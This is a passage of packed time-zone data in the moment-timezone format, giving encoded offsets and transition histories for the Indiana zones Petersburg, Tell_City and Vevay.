Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Petersburg|LMT CST CDT CWT CPT EST EDT|5N.7 60 50 50 50 50 40|01212134121212121212121212121512121212121212121212125212565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 njX0 WN0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 3Fb0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 19co0 1o00 Rd0 1zb0 Oo0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Tell_City|LMT CST CDT CWT CPT EST EDT|5L.3 60 50 50 50 50 40|012121341212121212121212121512165652121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 njX0 WN0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 8wn0 1cN0 1cL0 1cN0 1cK0 1cN0 1cL0 1qhd0 1o00 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Indiana/Vevay|LMT CST CDT CWT CPT EST EDT|5E.g 60 50 50 50 50 40|0121213415656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 kPB0 Awn0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1lnd0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 